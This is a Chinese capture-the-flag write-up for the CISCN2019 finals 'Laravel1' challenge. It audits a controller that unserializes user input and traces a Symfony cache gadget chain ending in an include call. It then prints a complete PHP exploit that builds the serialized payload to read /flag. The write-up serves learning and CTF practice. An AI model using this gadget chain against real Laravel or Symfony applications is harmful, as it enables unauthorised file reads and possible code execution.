[CISCN2019 总决赛 Day1 Web4]Laravel1

知识点:代码审计

从页面给的代码我们可以看到有网站备份source.tar.gz,且是以get方式传一个序列化的payload。

<?php
//backup in source.tar.gz
namespace App\Http\Controllers;
class IndexController extends Controller
{
    public function index(\Illuminate\Http\Request $request){
        $payload=$request->input("payload");
        if(empty($payload)){
            highlight_file(__FILE__);
        }else{
            @unserialize($payload);
        }
    }
}

解压一下tar -zxvf source.tar.gz,然后就是审计了,没说明头绪就先看一下大佬们的解析,这边我学到两个方便的功能,在phpstorm中Ctrl+Alt+B显示子类继承图,Ctrl+Alt+U显示父类继承图,各类的关系很清晰。
在这里插入图片描述

审计:

序列化的题目可以从__destruct入手,在TagAwareAdapter中,再继续完善链子,且invalidateTags也在本页中。
现在链子为__destruct => commit => invalidateTags
在这里插入图片描述
invalidateTags$this->pool是可控的,那么我们可以找一个有saveDeferred方法的类,但在这之前要先看一下pool怎么赋值。
在这里插入图片描述
可以看到pool是接口AdapterInterface的,所以现在要找一个实现接口AdapterInterface且存在方法saveDeferred的类,且saveDeferred这个方法可以利用。

在这里插入图片描述

PhpArrayAdaptersaveDeferrednull === $this->values默认符合,然后$this->initialize();,继续向下看呗

在这里插入图片描述
但是在利用saveDeferred之前还要实现一个接口CacheItemInterface,选择一个。
在这里插入图片描述
在这里插入图片描述
实现了CacheItemInterface接口后,再看initialize();方法,也是链子的结尾。(在PhpArrayTrait.php中),利用点就是include
在这里插入图片描述

exp

<?php
namespace Symfony\Component\Cache{
    final class CacheItem{}
}

namespace Symfony\Component\Cache\Adapter{
    use Symfony\Component\Cache\CacheItem;
    class TagAwareAdapter{
        private $deferred;
        private $pool;
        public function __construct(){
            $this->deferred  = ["succ3"=>new CacheItem()];
            $this->pool = new PhpArrayAdapter();
        }
    }

    class PhpArrayAdapter{
        private $file = "/flag";
    }
    $a = new TagAwareAdapter();
    echo urlencode(serialize($a));
}


参考:

https://www.xuxblog.top/archives/ciscn2019zong-jue-sai-day1web4laravel1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值